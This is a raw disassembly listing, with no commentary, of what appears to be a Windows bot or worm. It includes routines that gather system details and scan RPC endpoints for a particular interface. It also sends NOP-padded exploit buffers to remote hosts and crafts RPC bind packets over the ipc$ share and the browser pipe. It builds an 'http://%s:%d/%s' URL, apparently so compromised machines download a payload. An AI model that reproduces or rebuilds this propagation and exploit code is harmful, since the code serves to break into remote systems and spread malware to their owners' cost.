		mov	[ebp+eax+2C0h+var_234],	0
		lea	eax, [ebp+2C0h+var_340]
		push	eax
		push	1
		push	0
		lea	eax, [ebp+2C0h+var_234]
		push	eax
		push	80000002h
		call	ds:off_41E02C
		test	eax, eax
		jnz	short loc_408FE9
		push	[ebp+2C0h+var_340]
		call	ds:dword_41E010	; RegCloseKey
		inc	edi
		cmp	edi, 8
		jb	short loc_408F7D

loc_408FE9:				; CODE XREF: sub_408DE0+1F8j
		push	[ebp+2C0h+var_340]
		call	ds:dword_41E010	; RegCloseKey

loc_408FF2:				; CODE XREF: sub_408DE0+62j
		mov	ecx, [ebp+2C0h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		add	ebp, 2C0h
		leave
		retn
sub_408DE0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 44Ch
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+448h], eax
		mov	eax, [ebp+18h]
		push	ebx
		push	esi
		push	edi
		mov	esi, 0FFh
		push	esi
		mov	[esp+20h], eax
		xor	ebx, ebx
		lea	eax, [esp+355h]
		push	ebx
		push	eax
		mov	byte ptr [esp+35Ch], 0
		call	sub_40CBA0
		add	esp, 0Ch
		push	esi
		lea	eax, [esp+155h]
		push	ebx
		push	eax
		mov	[esp+15Ch], bl
		call	sub_40CBA0
		xor	eax, eax
		mov	[esp+4Ch], bl
		lea	edi, [esp+4Dh]
		stosd
		stosd
		stosd
		stosw
		add	esp, 0Ch
		push	esi
		stosb
		lea	eax, [esp+55h]
		push	ebx
		push	eax
		mov	[esp+5Ch], bl
		call	sub_40CBA0
		add	esp, 0Ch
		push	esi
		lea	eax, [esp+255h]
		push	ebx
		push	eax
		mov	[esp+25Ch], bl
		call	sub_40CBA0
		add	esp, 0Ch
		push	20h
		lea	eax, [esp+24h]
		push	0
		mov	ebx, 100h
		push	eax
		mov	[esp+24h], ebx
		call	sub_40CBA0
		add	esp, 0Ch
		lea	eax, [esp+20h]
		push	eax
		call	ds:off_41E098
		mov	eax, [esp+28h]
		mov	ecx, [esp+2Ch]
		shr	eax, 14h
		shr	ecx, 14h
		mov	[esp+14h], eax
		sub	eax, ecx
		push	1
		mov	ecx, ebx
		lea	edi, [esp+354h]
		mov	[esp+14h], eax
		call	sub_402966
		pop	ecx
		call	sub_408DE0
		push	1
		push	ebx
		lea	esi, [esp+158h]
		call	sub_402AC0
		push	dword_426A1C
		lea	esi, [esp+4Ch]
		call	sub_4028E8
		add	esp, 0Ch
		lea	eax, [esp+18h]
		push	eax
		lea	eax, [esp+54h]
		push	eax
		call	ds:off_41E048
		push	ebx
		lea	eax, [esp+254h]
		push	eax
		call	ds:dword_41E05C	; GetSystemDirectoryA
		call	sub_402AF2
		push	dword_42660C
		lea	eax, [esp+254h]
		push	dword_426608
		push	dword_426604
		push	dword_426600
		push	dword_4265FC
		push	dword_4265F8
		push	eax
		lea	eax, [esp+6Ch]
		push	eax
		mov	eax, esi
		push	eax
		lea	eax, [esp+174h]
		push	eax
		push	dword ptr [esp+3Ch]
		mov	esi, offset byte_426B48
		push	dword ptr [esp+3Ch]
		mov	eax, edi
		push	dword_426C48
		push	esi
		push	dword_426C4C
		push	eax
		push	offset aSystemSCpuIXS@ ; "System: %s [CPU: %i x	%s @ %dMhz] [RAM:"...
		push	dword ptr [esp+60h]
		push	dword ptr [ebp+0Ch]
		push	offset dword_426A1C
		call	sub_403D0C
		push	108h
		push	0
		push	esi
		call	sub_40CBA0
		mov	ecx, [esp+4B0h]
		add	esp, 5Ch
		pop	edi
		pop	esi
		pop	ebx
		xor	ecx, esp
		call	sub_40AFEE
		mov	esp, ebp
		pop	ebp
		retn	1Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4091D2	proc near		; CODE XREF: sub_40936F+F0p

var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_18		= byte ptr -18h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		xor	edi, edi
		lea	ecx, [ebp+var_30]
		push	ecx
		push	edi
		push	edi
		push	eax
		push	offset aNcacn_ip_tcp ; "ncacn_ip_tcp"
		push	edi
		mov	[ebp+var_34], edi
		mov	[ebp+var_38], edi
		mov	[ebp+var_30], edi
		call	ds:dword_41E1D0
		test	eax, eax
		jnz	short loc_40924D
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+var_30]
		call	ds:dword_41E1D8
		test	eax, eax
		jz	short loc_40925E
		lea	eax, [ebp+var_30]
		push	eax
		call	ds:dword_41E1DC

loc_40924D:				; CODE XREF: sub_4091D2+5Ej
					; sub_4091D2+DDj ...
		xor	eax, eax

loc_40924F:				; CODE XREF: sub_4091D2+198j
		mov	ecx, [ebp+var_8]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
; ---------------------------------------------------------------------------

loc_40925E:				; CODE XREF: sub_4091D2+6Fj
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		lea	eax, [ebp+var_40]
		push	eax
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+var_3C]
		call	ds:dword_41E1E0
		test	eax, eax
		jz	short loc_4092B1
		lea	eax, [ebp+var_30]
		push	eax
		call	ds:dword_41E1DC
		lea	eax, [ebp+var_3C]
		push	eax
		call	ds:dword_41E1D4
		jmp	short loc_40924D
; ---------------------------------------------------------------------------

loc_4092B1:				; CODE XREF: sub_4091D2+C7j
		mov	ebx, ds:dword_41E1DC

loc_4092B7:				; CODE XREF: sub_4091D2+114j
					; sub_4091D2+125j ...
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	[ebp+var_40]
		call	ds:dword_41E1E4
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_409318
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	ds:dword_41E1E8
		test	eax, eax
		jnz	short loc_4092B7
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_44]
		call	ds:dword_41E1CC
		test	eax, eax
		jnz	short loc_4092B7
		push	offset a50abc2a4574d40 ; "50abc2a4-574d-40b3-9d66-ee4fd5fba076"
		push	[ebp+var_38]
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409325
		lea	eax, [ebp+var_38]
		push	eax
		call	ebx
		lea	eax, [ebp+var_34]
		push	eax
		call	ebx

loc_409318:				; CODE XREF: sub_4091D2+102j
		cmp	esi, 6ECh
		jnz	short loc_4092B7
		jmp	loc_40924D
; ---------------------------------------------------------------------------

loc_409325:				; CODE XREF: sub_4091D2+138j
		mov	esi, offset asc_420484 ; "["
		push	esi
		push	[ebp+var_34]
		call	sub_40DFAE
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40924D
		push	esi
		push	edi
		call	sub_40DFAE
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	loc_40924D
		push	offset asc_42108C ; "]"
		push	eax
		call	sub_40DFAE
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	loc_40924D
		push	eax
		call	sub_40E325
		pop	ecx
		jmp	loc_40924F
sub_4091D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40936F	proc near		; CODE XREF: sub_40A9C4+227p
					; sub_40A9C4+330p ...

var_10		= dword	ptr -10h
arg_0		= word ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= dword	ptr  14h
arg_14		= byte ptr  1Ch
arg_114		= dword	ptr  11Ch
arg_118		= dword	ptr  120h
arg_120		= dword	ptr  128h
arg_124		= dword	ptr  12Ch
arg_128		= dword	ptr  130h
arg_12C		= byte ptr  134h
arg_12D		= byte ptr  135h
arg_13C		= byte ptr  144h
arg_13D		= byte ptr  145h
arg_23C		= byte ptr  244h
arg_23D		= byte ptr  245h
arg_33C		= byte ptr  344h
arg_33F		= byte ptr  347h
arg_4B4		= byte ptr  4BCh
arg_4B7		= byte ptr  4BFh
arg_62C		= byte ptr  634h
arg_A1A		= byte ptr  0A22h
arg_A22		= byte ptr  0A2Ah
arg_B42		= byte ptr  0B4Ah
arg_B54		= byte ptr  0B5Ch
arg_E2C		= byte ptr  0E34h
arg_1E30	= dword	ptr  1E38h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		mov	eax, 1E3Ch
		call	sub_41B470
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+arg_1E30],	eax
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	ecx
		xor	eax, eax
		lea	esi, [ebp+arg_0]
		lea	edi, [esp+0Ch+arg_14]
		rep movsd
		mov	[esp+0Ch+arg_12C], 0
		lea	edi, [esp+0Ch+arg_12D]
		stosd
		stosd
		stosd
		stosw
		mov	esi, 0FFh
		push	esi
		stosb
		lea	eax, [esp+10h+arg_23D]
		push	0
		push	eax
		mov	[esp+18h+arg_23C], 0
		call	sub_40CBA0
		add	esp, 0Ch
		push	esi
		lea	eax, [esp+10h+arg_13D]
		push	0
		push	eax
		mov	[esp+18h+arg_13C], 0
		call	sub_40CBA0
		mov	eax, ds:dword_421090
		add	esp, 0Ch
		mov	[esp+0Ch+arg_124], eax
		mov	eax, ds:dword_421094
		mov	esi, offset dword_421098
		lea	edi, [esp+0Ch+arg_33C]
		mov	ebx, 16Fh
		movsw
		push	ebx
		mov	[esp+10h+arg_128], eax
		lea	eax, [esp+10h+arg_33F]
		push	0
		push	eax
		movsb
		call	sub_40CBA0
		add	esp, 0Ch
		mov	esi, offset dword_421098
		lea	edi, [esp+0Ch+arg_4B4]
		movsw
		push	ebx
		lea	eax, [esp+10h+arg_4B7]
		push	0
		push	eax
		movsb
		call	sub_40CBA0
		add	esp, 0Ch
		push	[esp+0Ch+arg_118]
		call	ds:dword_41E270	; inet_ntoa
		mov	esi, eax
		push	esi
		call	sub_4091D2
		test	eax, eax
		pop	ecx
		jnz	short loc_40946E
		mov	eax, 401h

loc_40946E:				; CODE XREF: sub_40936F+F8j
		push	[esp+8+arg_120]
		mov	[esp+0Ch+arg_8], 2
		mov	[esp+0Ch+arg_C], eax
		call	ds:dword_41E234	; htons
		push	esi
		mov	word ptr [esp+10h+arg_4+2], ax
		call	sub_4022A6
		and	dword ptr [esp+14h], 0
		pop	ecx
		mov	byte ptr [esp+0Fh], 1
		mov	dword ptr [esp+0Ch+arg_0], 1

loc_4094A4:				; CODE XREF: sub_40936F+39Bj
		push	6
		push	1
		push	2
		call	ds:dword_41E23C	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_409739
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		push	10h
		lea	eax, [esp+10h+arg_4]
		push	eax
		push	edi
		call	ds:dword_41E254	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40973D
		push	0
		push	48h
		push	offset dword_424878
		push	edi
		call	ds:dword_41E244	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40973D
		push	0
		push	1000h
		lea	eax, [esp+14h+arg_E2C]
		push	eax
		push	edi
		call	ds:dword_41E238	; recv
		test	eax, eax
		jle	loc_40973D
		cmp	byte ptr [esp+0Ch+arg_120+1], 0
		jz	short loc_40955D
		call	sub_402B71
		test	al, al
		jz	short loc_40955D
		push	100h
		lea	esi, [esp+10h+arg_13C]
		mov	ebx, offset dword_424F3C
		call	sub_401AD1
		pop	ecx
		jmp	short loc_4095C8
; ---------------------------------------------------------------------------

loc_40955D:				; CODE XREF: sub_40936F+1CAj
					; sub_40936F+1D3j
		push	dword_426A1C
		lea	esi, [esp+10h+arg_12C]
		call	sub_4028E8
		lea	esi, [esp+10h+arg_23C]
		mov	ebx, offset byte_425081
		mov	[esp+10h+var_10], 100h
		call	sub_401AD1
		pop	ecx
		mov	eax, esi
		push	eax
		push	dword_4265F4
		lea	eax, [esp+14h+arg_12C]
		push	eax
		push	offset aHttpSDS	; "http://%s:%d/%s"
		lea	eax, [esp+1Ch+arg_13C]
		push	0FFh
		push	eax
		call	sub_40CAE4
		lea	eax, [esp+24h+arg_13C]
		push	eax
		call	sub_40C9B0
		mov	[esp+eax+28h+arg_13C], 0
		add	esp, 1Ch

loc_4095C8:				; CODE XREF: sub_40936F+1ECj
		lea	eax, [esp+0Ch+arg_13C]
		push	eax
		lea	eax, [esp+10h+arg_33C]
		call	sub_407CD8
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		jz	loc_409739
		lea	eax, [esp+0Ch+arg_124]
		push	eax
		push	ebx
		lea	eax, [esp+14h+arg_33C]
		push	eax
		push	2
		lea	esi, [esp+1Ch+arg_4B4]
		call	sub_407D35
		add	esp, 10h
		test	eax, eax
		jnz	short loc_409630
		lea	eax, [esp+0Ch+arg_124]
		push	eax
		push	ebx
		lea	eax, [esp+14h+arg_33C]
		push	eax
		push	2
		call	sub_407D35
		add	esp, 10h
		test	eax, eax
		jz	loc_409739

loc_409630:				; CODE XREF: sub_40936F+29Cj
		mov	esi, 800h
		push	esi
		lea	eax, [esp+10h+arg_62C]
		push	5Ch
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	4Ch
		lea	eax, [esp+10h+arg_62C]
		push	offset dword_4248C8
		push	eax
		call	sub_40CC20
		add	esp, 0Ch
		cmp	dword ptr [esp+0Ch+arg_0], 1
		push	8
		lea	eax, [esp+10h+arg_A1A]
		jnz	short loc_409676
		push	offset aLSW	; "\\)\\L\\á\\w"
		jmp	short loc_40967B
; ---------------------------------------------------------------------------

loc_409676:				; CODE XREF: sub_40936F+2FEj
		push	offset a8W	; "\\8\\\a\\Ò\\w"

loc_40967B:				; CODE XREF: sub_40936F+305j
		push	eax
		call	sub_40CC20
		add	esp, 0Ch
		push	3Eh
		lea	eax, [esp+10h+arg_A22]
		push	offset dword_424918
		push	eax
		call	sub_40CC20
		add	esp, 0Ch
		push	13h
		lea	eax, [esp+10h+arg_B42]
		push	offset dword_424860
		push	eax
		call	sub_40CC20
		add	esp, 0Ch
		push	172h
		lea	eax, [esp+10h+arg_33C]
		push	eax
		lea	eax, [esp+14h+arg_B54]
		push	eax
		call	sub_40CC20
		add	esp, 0Ch
		push	0
		push	esi
		lea	eax, [esp+14h+arg_62C]
		push	eax
		push	edi
		call	ds:dword_41E244	; send
		cmp	eax, 0FFFFFFFFh
		push	edi
		jz	short loc_40973E
		call	ds:dword_41E240	; closesocket
		cmp	byte ptr [esp+0Fh], 0
		jz	short loc_409710
		inc	dword ptr [esp+10h]
		cmp	dword ptr [esp+10h], 1
		mov	byte ptr [esp+0Fh], 0
		mov	dword ptr [esp+0Ch+arg_0], 3
		jle	loc_4094A4

loc_409710:				; CODE XREF: sub_40936F+383j
		mov	eax, [esp+0Ch+arg_114]
		imul	eax, 2Ch
		lea	eax, dword_42452C[eax]
		inc	dword ptr [eax]
		mov	al, 1

loc_409724:				; CODE XREF: sub_40936F+3CCj
		mov	ecx, [esp+0Ch+arg_1E30]
		pop	edi
		pop	esi
		pop	ebx
		xor	ecx, esp
		call	sub_40AFEE
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_409739:				; CODE XREF: sub_40936F+146j
					; sub_40936F+272j ...
		xor	al, al
		jmp	short loc_409724
; ---------------------------------------------------------------------------

loc_40973D:				; CODE XREF: sub_40936F+185j
					; sub_40936F+19Ej ...
		push	edi

loc_40973E:				; CODE XREF: sub_40936F+376j
		call	ds:dword_41E240	; closesocket
		jmp	short loc_409739
sub_40936F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		mov	eax, 641Ch
		call	sub_41B470
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+6418h], eax
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	ecx
		lea	esi, [ebp+8]
		lea	edi, [esp+100h]
		rep movsd
		push	dword ptr [esp+204h]
		call	ds:dword_41E270	; inet_ntoa
		xor	ebx, ebx
		mov	[esp+28h], eax
		mov	[esp+18h], ebx

loc_40978D:				; CODE XREF: .text:00409E5Cj
		cmp	dword ptr [esp+18h], 2
		ja	loc_409E6B
		push	offset a_	; "."
		push	dword ptr [esp+2Ch]
		call	sub_40B187
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	edi, 2000h
		jz	short loc_4097FD
		push	dword ptr [esp+28h]
		lea	eax, [esp+424h]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	edi
		push	eax
		call	sub_40CAE4
		push	20h
		lea	eax, [esp+7Ch]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 1Ch
		lea	eax, [esp+420h]
		mov	[esp+7Ch], eax
		push	ebx
		mov	eax, offset byte_4202BD
		push	eax
		push	eax
		lea	eax, [esp+74h]
		push	eax
		call	sub_40AF20
		test	eax, eax
		jnz	loc_409E6B

loc_4097FD:				; CODE XREF: .text:004097AFj
		push	dword ptr [esp+28h]
		lea	eax, [esp+2424h]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	edi
		push	eax
		call	sub_40CAE4
		add	esp, 10h
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		lea	eax, [esp+2438h]
		push	eax
		call	ds:dword_41E06C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[esp+14h], eax
		jz	loc_409E6B
		push	48h
		lea	eax, [esp+0BCh]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	10h
		pop	eax
		push	eax
		mov	[esp+0C0h], eax
		xor	esi, esi
		lea	eax, [esp+0DCh]
		push	offset dword_42151C
		inc	esi
		push	eax
		mov	byte ptr [esp+0C4h], 5
		mov	[esp+0C5h], bl
		mov	byte ptr [esp+0C6h], 0Bh
		mov	byte ptr [esp+0C7h], 3
		mov	word ptr [esp+0CCh], 48h
		mov	[esp+0CEh], bx
		mov	[esp+0D0h], ebx
		mov	word ptr [esp+0D4h], 10B8h
		mov	word ptr [esp+0D6h], 10B8h
		mov	[esp+0D8h], ebx
		mov	[esp+0DCh], esi
		mov	[esp+0E0h], bx
		mov	byte ptr [esp+0E2h], 1
		call	sub_40CC20
		add	esp, 0Ch
		push	10h
		lea	eax, [esp+0F0h]
		push	offset dword_421530
		push	eax
		mov	dword ptr [esp+0F4h], 3
		call	sub_40CC20
		add	esp, 0Ch
		push	ebx
		lea	eax, [esp+68h]
		push	eax
		push	48h
		lea	eax, [esp+0C4h]
		push	eax
		push	dword ptr [esp+24h]
		mov	dword ptr [esp+110h], 2
		call	ds:dword_41E088	; WriteFile
		test	eax, eax
		jz	loc_409E61
		push	ebx
		lea	eax, [esp+38h]
		push	eax
		push	edi
		lea	eax, [esp+442Ch]
		push	eax
		push	dword ptr [esp+24h]
		call	ds:off_41E078
		call	ds:dword_41E108	; GetTickCount
		push	eax
		call	sub_40D8F9
		pop	ecx
		push	14h
		lea	eax, [esp+0A8h]
		push	41h
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	1Ch
		lea	eax, [esp+8Ch]
		push	41h
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		call	sub_40D906
		cmp	[esp+18h], esi
		mov	[esp+0A4h], eax
		mov	[esp+0B0h], esi
		mov	[esp+0ACh], ebx
		mov	[esp+0A8h], esi
		mov	[esp+0B4h], bx
		jnz	short loc_4099C5
		push	4
		mov	[esp+98h], esi
		mov	[esp+90h], esi
		push	offset dword_421544
		jmp	short loc_4099E3
; ---------------------------------------------------------------------------

loc_4099C5:				; CODE XREF: .text:004099ACj
		cmp	[esp+18h], ebx
		jnz	short loc_4099FA
		push	2
		pop	eax
		push	4
		mov	[esp+98h], eax
		mov	[esp+90h], eax
		push	offset loc_42154C

loc_4099E3:				; CODE XREF: .text:004099C3j
		lea	eax, [esp+0A0h]
		push	eax
		mov	[esp+9Ch], ebx
		call	sub_40CC20
		add	esp, 0Ch

loc_4099FA:				; CODE XREF: .text:004099C9j
		call	sub_40D906
		cdq
		mov	esi, 0FAh
		mov	ecx, esi
		idiv	ecx
		inc	edx
		mov	[esp+88h], edx
		call	sub_40D906
		cdq
		idiv	esi
		mov	eax, [esp+18h]
		shl	eax, 4
		mov	esi, dword_424608[eax]
		push	esi
		mov	[esp+0A4h], ebx
		mov	[esp+30h], eax
		mov	[esp+24h], esi
		inc	edx
		mov	[esp+0A0h], edx
		call	sub_40DC83
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		mov	[esp+1Ch], edi
		jz	loc_409E61
		lea	eax, [esi-2]
		push	eax
		push	90h
		push	edi
		call	sub_40CBA0
		add	esp, 0Ch
		push	2
		lea	eax, [edi+esi-2]
		push	ebx
		push	eax
		call	sub_40CBA0
		mov	eax, [esp+38h]
		mov	esi, dword_424610[eax]
		add	esp, 0Ch
		push	7
		lea	eax, [esi+edi]
		push	offset dword_4245FC
		push	eax
		call	sub_40CC20
		xor	eax, eax
		mov	[esp+21Ch], bl
		lea	edi, [esp+21Dh]
		stosd
		stosd
		stosd
		stosw
		stosb
		add	esp, 0Ch
		mov	edi, 0FFh
		push	edi
		lea	eax, [esp+325h]
		push	ebx
		add	esi, 7
		push	eax
		mov	[esp+30h], esi
		mov	[esp+32Ch], bl
		call	sub_40CBA0
		add	esp, 0Ch
		push	edi
		lea	eax, [esp+225h]
		push	ebx
		push	eax
		mov	[esp+22Ch], bl
		call	sub_40CBA0
		add	esp, 0Ch
		cmp	[esp+20Dh], bl
		jz	short loc_409B10
		call	sub_402B71
		test	al, al
		jz	short loc_409B10
		push	100h
		lea	esi, [esp+224h]
		mov	ebx, offset dword_424F3C
		call	sub_401AD1
		pop	ecx
		jmp	short loc_409B77
; ---------------------------------------------------------------------------

loc_409B10:				; CODE XREF: .text:00409AECj
					; .text:00409AF5j
		push	dword_426A1C
		lea	esi, [esp+214h]
		call	sub_4028E8
		lea	esi, [esp+324h]
		mov	ebx, offset byte_425081
		mov	dword ptr [esp], 100h
		call	sub_401AD1
		pop	ecx
		mov	eax, esi
		push	eax
		push	dword_4265F4
		lea	eax, [esp+218h]
		push	eax
		push	offset aHttpSDS	; "http://%s:%d/%s"
		lea	eax, [esp+230h]
		push	edi
		push	eax
		call	sub_40CAE4
		lea	eax, [esp+238h]
		push	eax
		call	sub_40C9B0
		mov	byte ptr [esp+eax+23Ch], 0
		add	esp, 1Ch

loc_409B77:				; CODE XREF: .text:00409B0Ej
		lea	eax, [esp+220h]
		push	eax
		mov	edi, offset dword_4339B0
		mov	eax, edi
		call	sub_407CD8
		test	eax, eax
		pop	ecx
		mov	[esp+30h], eax
		jz	loc_409E82
		mov	ebx, offset dword_4245F4
		push	ebx
		push	eax
		push	edi
		push	1
		mov	esi, offset dword_433B28
		call	sub_407D35
		add	esp, 10h
		test	eax, eax
		jnz	short loc_409BCB
		push	ebx
		push	dword ptr [esp+34h]
		push	edi
		push	2
		call	sub_407D35
		add	esp, 10h
		test	eax, eax
		jz	loc_409E82

loc_409BCB:				; CODE XREF: .text:00409BB1j
		dec	eax
		push	eax
		mov	eax, [esp+28h]
		push	esi
		mov	esi, [esp+24h]
		add	eax, esi
		push	eax
		call	sub_40CC20
		mov	eax, [esp+38h]
		mov	ebx, dword_42460C[eax]
		add	esp, 0Ch
		cmp	dword ptr [esp+18h], 1
		jnz	short loc_409C3D
		push	4
		lea	eax, [ebx+esi]
		push	offset dword_433CC4
		push	eax
		call	sub_40CC20
		add	esp, 0Ch
		push	4
		add	ebx, 0Ch
		mov	edi, offset dword_424624
		lea	eax, [ebx+esi]
		push	edi
		push	eax
		call	sub_40CC20
		add	esp, 0Ch
		push	4
		lea	ebx, [ebx+esi+24h]
		push	edi
		push	ebx
		call	sub_40CC20
		add	esp, 0Ch
		push	4
		push	edi
		add	ebx, 0Ch
		push	ebx
		call	sub_40CC20
		add	esp, 0Ch
		jmp	short loc_409C5F
; ---------------------------------------------------------------------------

loc_409C3D:				; CODE XREF: .text:00409BF0j
		cmp	dword ptr [esp+18h], 0
		jnz	short loc_409C5F
		push	10h
		add	ebx, esi
		pop	edi

loc_409C49:				; CODE XREF: .text:00409C5Dj
		push	4
		push	offset dword_424624
		push	ebx
		call	sub_40CC20
		add	esp, 0Ch
		add	ebx, 4
		dec	edi
		jnz	short loc_409C49

loc_409C5F:				; CODE XREF: .text:00409C3Bj
					; .text:00409C42j
		mov	edi, [esp+20h]
		lea	eax, [edi+42h]
		push	eax
		call	sub_40DC83
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		jz	loc_409E98
		lea	eax, [edi+42h]
		push	eax
		push	0
		push	ebx
		call	sub_40CBA0
		add	esp, 0Ch
		push	14h
		lea	eax, [esp+0A8h]
		push	eax
		push	ebx
		call	sub_40CC20
		mov	eax, edi
		test	eax, eax
		mov	[esp+2Ch], eax
		fild	dword ptr [esp+2Ch]
		jge	short loc_409CAA
		fadd	ds:flt_4216C0

loc_409CAA:				; CODE XREF: .text:00409CA2j
		fmul	ds:dbl_4216B8
		add	esp, 4
		fstp	dword ptr [esp+28h]
		fld	dword ptr [esp+28h]
		fstp	qword ptr [esp]
		call	sub_40E330
		fstp	dword ptr [esp+28h]
		fld	dword ptr [esp+28h]
		call	sub_41DAD6
		and	dword ptr [ebx+18h], 0
		push	edi
		mov	[ebx+1Ch], eax
		mov	[ebx+14h], eax
		lea	eax, [ebx+20h]
		push	esi
		push	eax
		call	sub_40CC20
		lea	eax, [edi+20h]
		add	esp, 14h
		test	al, 3
		mov	[esp+24h], eax
		jz	short loc_409CFC

loc_409CF3:				; CODE XREF: .text:00409CF6j
		inc	eax
		test	al, 3
		jnz	short loc_409CF3
		mov	[esp+24h], eax

loc_409CFC:				; CODE XREF: .text:00409CF1j
		push	1Ch
		lea	ecx, [esp+8Ch]
		push	ecx
		add	eax, ebx
		push	eax
		call	sub_40CC20
		add	dword ptr [esp+30h], 1Ch
		add	esp, 0Ch
		push	esi
		call	sub_40DBA6
		pop	ecx
		push	18h
		xor	esi, esi
		lea	eax, [esp+3Ch]
		push	esi
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	14h
		lea	eax, [esp+54h]
		push	esi
		push	eax
		mov	byte ptr [esp+44h], 5
		mov	byte ptr [esp+45h], 0
		mov	byte ptr [esp+46h], 0
		mov	byte ptr [esp+47h], 3
		mov	dword ptr [esp+48h], 10h
		mov	[esp+4Eh], si
		mov	[esp+50h], esi
		mov	[esp+58h], si
		mov	word ptr [esp+5Ah], 1Fh
		call	sub_40CBA0
		add	esp, 0Ch
		push	esi
		push	esi
		push	1
		push	esi
		call	ds:off_41E09C
		mov	[esp+60h], eax
		mov	byte ptr [esp+13h], 0
		mov	[esp+1Ch], esi

loc_409D88:				; CODE XREF: .text:00409E1Cj
		cmp	dword ptr [esp+1Ch], 2
		jge	loc_409E26
		inc	dword ptr [esp+1Ch]
		push	1
		push	10B8h
		push	dword ptr [esp+2Ch]
		lea	esi, [esp+44h]
		push	ebx
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [esp+3Ch]
		rep movsd
		call	sub_405257
		add	esp, 2Ch
		test	al, al
		jz	short loc_409E24
		cmp	dword ptr [esp+60h], 0
		jz	short loc_409E15
		lea	eax, [esp+50h]
		push	eax
		lea	eax, [esp+38h]
		push	eax
		push	2000h
		lea	eax, [esp+442Ch]
		push	eax
		push	dword ptr [esp+24h]
		call	ds:off_41E078
		test	eax, eax
		jnz	short loc_409DFA
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	short loc_409E15

loc_409DFA:				; CODE XREF: .text:00409DEBj
		push	3E8h
		push	dword ptr [esp+64h]
		call	ds:off_41E07C
		cmp	eax, 102h
		jnz	short loc_409E15
		mov	byte ptr [esp+13h], 1

loc_409E15:				; CODE XREF: .text:00409DC6j
					; .text:00409DF8j ...
		xor	esi, esi
		cmp	byte ptr [esp+13h], 0
		jz	loc_409D88
		jmp	short loc_409E26
; ---------------------------------------------------------------------------

loc_409E24:				; CODE XREF: .text:00409DBFj
		xor	esi, esi

loc_409E26:				; CODE XREF: .text:00409D8Dj
					; .text:00409E22j
		push	dword ptr [esp+14h]
		mov	edi, ds:dword_41E0E0
		call	edi	; CloseHandle
		push	ebx
		call	sub_40DBA6
		cmp	[esp+64h], esi
		pop	ecx
